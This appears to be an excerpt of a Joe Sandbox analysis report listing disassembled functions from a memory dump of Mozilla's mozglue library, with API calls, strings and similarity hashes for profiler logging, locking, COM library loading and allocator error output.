??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF385AC

Part of subcall function 6CF37670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CF385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF3767F
Part of subcall function 6CF37670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CF385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF37693
Part of subcall function 6CF37670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CF385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF376A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CF385B2

Part of subcall function 6CF15E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CF15EDB
Part of subcall function 6CF15E90: memset.VCRUNTIME140(6CF57765,000000E5,55CCCCCC), ref: 6CF15F27
Part of subcall function 6CF15E90: LeaveCriticalSection.KERNEL32(?), ref: 6CF15FB2

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 9330b669700a27e344a9e19c23f5759a164c63b4469a2a45de5c98d7ee51ede8
Instruction ID: 136f2df493904348f55fa86bf24337ef88fcf54b3734387c1fb7f0a43ba636ed
Opcode Fuzzy Hash: 9330b669700a27e344a9e19c23f5759a164c63b4469a2a45de5c98d7ee51ede8
Instruction Fuzzy Hash: 6B21D171601611AFDB14DB24D888B6AB7B5AF8431CF24482EE54FC3B41DB35F948CBA1

Function 6CF01640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CF01699
VerSetConditionMask.NTDLL ref: 6CF016CB
VerSetConditionMask.NTDLL ref: 6CF016D7
VerSetConditionMask.NTDLL ref: 6CF016DE
VerSetConditionMask.NTDLL ref: 6CF016E5
VerSetConditionMask.NTDLL ref: 6CF016EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CF016F9

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: bab975ecb0d586beba5e8447252979549c27526cdd76ffc717a5dd4338c65f02
Instruction ID: 86a4e743cd1aef5356aa45e63fc6f678429f4cfed414706febbf065a445ad9bb
Opcode Fuzzy Hash: bab975ecb0d586beba5e8447252979549c27526cdd76ffc717a5dd4338c65f02
Instruction Fuzzy Hash: 1021D2B0B402186FEB216B689C89FFBB37CEF86B04F044529F6459B180D6789D54C7B1

Function 6CF4D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF4D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF4D1F5

Part of subcall function 6CF4AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6CF4AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF4D211
GetCurrentThreadId.KERNEL32 ref: 6CF4D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF4D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF4D279
free.MOZGLUE(?), ref: 6CF4D2B2

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: bc406f652921b4e39e5298977bc863f9e8346d57898ee0330f95da3290a6f994
Instruction ID: d0a28c1aefe59484fb1508fe773f1c1230a4fdeaa709c07d4ec53a54a1b20ac8
Opcode Fuzzy Hash: bc406f652921b4e39e5298977bc863f9e8346d57898ee0330f95da3290a6f994
Instruction Fuzzy Hash: 14217E71A14305DFCB05DF24D488B9EBBB1FF8A324F10452EE51687341DB30A949CBA6

Function 6CF3F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF2CBE8: GetCurrentProcess.KERNEL32(?,6CEF31A7), ref: 6CF2CBF1
Part of subcall function 6CF2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEF31A7), ref: 6CF2CBFA

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF3F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CF3F598), ref: 6CF3F621

Part of subcall function 6CF394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF394EE
Part of subcall function 6CF394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF39508

GetCurrentThreadId.KERNEL32 ref: 6CF3F637
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8,?,?,00000000,?,6CF3F598), ref: 6CF3F645
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8,?,?,00000000,?,6CF3F598), ref: 6CF3F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CF3F62A

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 68dca83d5346823b7adea78aa67310062cd5beece8786888c24d8eb142fa3179
Instruction ID: fe2af71b96ca6656af0d6cbfaf33621d47d074aed86bd7dc641cff693bf72961
Opcode Fuzzy Hash: 68dca83d5346823b7adea78aa67310062cd5beece8786888c24d8eb142fa3179
Instruction Fuzzy Hash: A911C431610225BBCBC4AF58E548AD57779FB86358B501466EA0983F01CB72A825CBF0

Function 6CF02070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF2AB89: EnterCriticalSection.KERNEL32(6CF7E370,?,?,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284), ref: 6CF2AB94
Part of subcall function 6CF2AB89: LeaveCriticalSection.KERNEL32(6CF7E370,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CF2ABD1

LoadLibraryW.KERNEL32(combase.dll,6CF01C5F), ref: 6CF020AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6CF020CD
__Init_thread_footer.LIBCMT ref: 6CF020E1
FreeLibrary.KERNEL32 ref: 6CF02124

Strings

combase.dll, xrefs: 6CF020A9
CoInitializeSecurity, xrefs: 6CF020C7

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: cfd76480b5c2f57727abdb98badeb569ec0a8200e17bc5bd0a427739c0afbd80
Instruction ID: fb9f85f2492c03aee2c84c03c215d3483065dbad2ac4cb2fe53b71f54c649d5c
Opcode Fuzzy Hash: cfd76480b5c2f57727abdb98badeb569ec0a8200e17bc5bd0a427739c0afbd80
Instruction Fuzzy Hash: 64216A76A10219AFDF928F55EC58EDA3BB6FB0A328F104019FA0492610D7329861DF70

Function 6CF399A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF399C1
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF399CE
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF399F8
GetCurrentThreadId.KERNEL32 ref: 6CF39A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF39A0D

Part of subcall function 6CF39A60: GetCurrentThreadId.KERNEL32 ref: 6CF39A95
Part of subcall function 6CF39A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF39A9D
Part of subcall function 6CF39A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CF39ACC
Part of subcall function 6CF39A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CF39BA7
Part of subcall function 6CF39A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CF39BB8
Part of subcall function 6CF39A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CF39BC9

Part of subcall function 6CF2CBE8: GetCurrentProcess.KERNEL32(?,6CEF31A7), ref: 6CF2CBF1
Part of subcall function 6CF2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEF31A7), ref: 6CF2CBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6CF39A15

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: 00ff2c1d72d837b01bf26ea51050451f2e5d8a55b095c5978c5c36d67be06236
Instruction ID: bb04e3a827b969c852aa68ab1d24183bf05333bb4970b5508e5c06e43d0c8f1f
Opcode Fuzzy Hash: 00ff2c1d72d837b01bf26ea51050451f2e5d8a55b095c5978c5c36d67be06236
Instruction Fuzzy Hash: A801ED32E14135ABDF926F65F8087AA3B78EB43228F045526EE4953B01CF354924C6F1

Function 6CF01FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF2AB89: EnterCriticalSection.KERNEL32(6CF7E370,?,?,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284), ref: 6CF2AB94
Part of subcall function 6CF2AB89: LeaveCriticalSection.KERNEL32(6CF7E370,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CF2ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CF01FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CF01FFD
__Init_thread_footer.LIBCMT ref: 6CF02011
FreeLibrary.KERNEL32 ref: 6CF02059

Strings

CoCreateInstance, xrefs: 6CF01FF7
combase.dll, xrefs: 6CF01FD9

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b64dbbfeb62ae76cf959e71e16d89b303eb36c1281d7aea595bc7258d276e814
Instruction ID: a6ef4e2cab174f9cfcd8442cc1631d80f55802190dd1a4ee16fd8e2f04ba102a
Opcode Fuzzy Hash: b64dbbfeb62ae76cf959e71e16d89b303eb36c1281d7aea595bc7258d276e814
Instruction Fuzzy Hash: B9114C75B11214AFEFA1CF55EC5CFA63B79EB4A759F10402AF90582650C7329840DFB1

Function 6CF00EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF2AB89: EnterCriticalSection.KERNEL32(6CF7E370,?,?,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284), ref: 6CF2AB94
Part of subcall function 6CF2AB89: LeaveCriticalSection.KERNEL32(6CF7E370,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CF2ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CF2D9F0,00000000), ref: 6CF00F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CF00F3C
__Init_thread_footer.LIBCMT ref: 6CF00F50
FreeLibrary.KERNEL32(?,6CF2D9F0,00000000), ref: 6CF00F86

Strings

combase.dll, xrefs: 6CF00F18
CoInitializeEx, xrefs: 6CF00F36

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 61f2627be2686065f883b6cb46b176b19914702591c2fd5a06c6b10b5f720329
Instruction ID: 5f0a3703d881472beebdd82cc19a4fa9d7f98a714cc64ab9288f1ff10ef16ad7
Opcode Fuzzy Hash: 61f2627be2686065f883b6cb46b176b19914702591c2fd5a06c6b10b5f720329
Instruction Fuzzy Hash: 22119EB5B152609BDFD1CF54ED18B8637B4FB4B726B00462AE905C2B40D770A805DB75

Function 6CF062E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF2AB89: EnterCriticalSection.KERNEL32(6CF7E370,?,?,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284), ref: 6CF2AB94
Part of subcall function 6CF2AB89: LeaveCriticalSection.KERNEL32(6CF7E370,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CF2ABD1

LoadLibraryW.KERNEL32(combase.dll), ref: 6CF0631B
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 6CF0633A
__Init_thread_footer.LIBCMT ref: 6CF0634E
FreeLibrary.KERNEL32 ref: 6CF06376

Strings

CoUninitialize, xrefs: 6CF06334
combase.dll, xrefs: 6CF06316

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoUninitialize$combase.dll
API String ID: 4190559335-3846590027
Opcode ID: 15ea81b24a549c58b415dfb966ccc6390d64bd9ae23ea4a381e250d2e3c6910c
Instruction ID: 69b87ec654723170f100e118af7949e15dc51dc7c04e00de914afa14679159a2
Opcode Fuzzy Hash: 15ea81b24a549c58b415dfb966ccc6390d64bd9ae23ea4a381e250d2e3c6910c
Instruction Fuzzy Hash: 320129B5F252118FEFD2CF68F958B9577B0AB06618F20452EE901C2B80D771A441CFB5

Function 6CF3F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF3F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3F561

Part of subcall function 6CF394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF394EE
Part of subcall function 6CF394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF39508

GetCurrentThreadId.KERNEL32 ref: 6CF3F577
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F585
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6CF3F239
[I %d/%d] profiler_pause_sampling, xrefs: 6CF3F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CF3F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CF3F56A

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 154591b03a8ee6200294ca5def93162566c98c694ec56e4a13bb2aa29924bd63
Instruction ID: 82769f521e8eb4fbd0eacecf43d8c66a8b0a6b089e58b5426fe8e4db75fc7c76
Opcode Fuzzy Hash: 154591b03a8ee6200294ca5def93162566c98c694ec56e4a13bb2aa29924bd63
Instruction Fuzzy Hash: 02F0B476A10220AFDB816F64F84CB9A777DEB8729DF000425FA0983701CF714C0487B0

Function 6CF00E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CF00DF8), ref: 6CF00E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CF00EA1
__Init_thread_footer.LIBCMT ref: 6CF00EB5
FreeLibrary.KERNEL32 ref: 6CF00EC5

Strings

kernel32.dll, xrefs: 6CF00E7D
GetProcessMitigationPolicy, xrefs: 6CF00E9B

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 8c329b6bdfc7ad5831fa49dbdd1898556476f039369843b2530051b8fbcc9601
Instruction ID: 159bca6f5cb1fb62af73b9a129db937beebadbccebd3a767dc321f5e80be1b20
Opcode Fuzzy Hash: 8c329b6bdfc7ad5831fa49dbdd1898556476f039369843b2530051b8fbcc9601
Instruction Fuzzy Hash: 9D012C70F14291CBDBC28FD8E824B8237B5F707719F100526E90193B40D779A846DA31

Function 6CF3F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF3F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CF3F598), ref: 6CF3F621

Part of subcall function 6CF394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF394EE
Part of subcall function 6CF394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF39508

GetCurrentThreadId.KERNEL32 ref: 6CF3F637
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8,?,?,00000000,?,6CF3F598), ref: 6CF3F645
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8,?,?,00000000,?,6CF3F598), ref: 6CF3F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CF3F62A

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: a4925bd8f38e9fe68dbc93ef61ad9248a62dcf29fee4f3fb95c01b071c270a0e
Instruction ID: a3de1c30d2218ba9bb2ddcda30eb29231cbd859c67647a3c1337a32d9820fb96
Opcode Fuzzy Hash: a4925bd8f38e9fe68dbc93ef61ad9248a62dcf29fee4f3fb95c01b071c270a0e
Instruction Fuzzy Hash: 2FF09075A10220BBDB816F64E848B9A777CEB8629DF000426FA0983701CB7648058AB0

Function 6CF305F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CF2CFAE,?,?,?,6CEF31A7), ref: 6CF305FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CF2CFAE,?,?,?,6CEF31A7), ref: 6CF30616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CEF31A7), ref: 6CF3061C
